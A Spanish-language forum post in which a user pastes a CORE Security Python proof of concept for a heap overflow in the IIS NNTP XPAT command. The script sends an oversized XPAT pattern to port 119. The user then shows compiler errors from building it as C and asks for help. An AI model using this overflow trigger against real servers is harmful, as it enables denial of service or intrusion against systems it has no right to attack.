Autor
Código:
#--# IIS NNTP Service XPAT command heap overflow proof of concept
#
# Author:
# Lucas Lavarello (lucas at coresecurity dot com)
# Juliano Rizzo (juliano at coresecurity dot com)
#
# Copyright (c) 2001-2004 CORE Security Technologies, CORE SDI Inc.
# All rights reserved.
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE
#
# www coresecurity com
#--
from socket import *
host = "127.0.0.1"
pat = "C"*1946 + " " + "X"*10
newsgroup = "control.newgroup"
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((host, 119))
print sock.recv(512)
sock.send("group %s\x0d\x0a" % newsgroup)
print sock.recv(512)
sock.send("xpat From 1-9 %s \x0d\x0a" % pat)
al compilarlo me sale estos resultados
Compilador: Default compiler
Building Makefile: "C:\Dev-Cpp\Makefile.win"
Ejecutando make...
make.exe -f "C:\Dev-Cpp\Makefile.win" all
gcc.exe -c main.c -o main.o -I"C:/Dev-Cpp/include"
main.c:1:2: invalid preprocessing directive #--
main.c:2:3: invalid preprocessing directive #IIS
main.c:4:3: invalid preprocessing directive #Author
main.c:5:6: invalid preprocessing directive #Lucas
main.c:6:6: invalid preprocessing directive #Juliano
main.c:8:3: invalid preprocessing directive #Copyright
main.c:9:3: invalid preprocessing directive #All
main.c:11:3: invalid preprocessing directive #THIS
main.c:12:3: invalid preprocessing directive #WARRANTIES
main.c:13:3: invalid preprocessing directive #FOR
main.c:14:3: invalid preprocessing directive #CONSEQUENTIAL
main.c:15:3: invalid preprocessing directive #THIS
main.c:17:3: invalid preprocessing directive #www
main.c:18:2: invalid preprocessing directive #--
main.c:19: error: syntax error before "socket"
main.c:22: warning: initialization from incompatible pointer type
main.c:22: error: syntax error before "pat"
make.exe: *** [main.o] Error 1
Ejecución Terminada
me podriais ayudar gracias
En línea
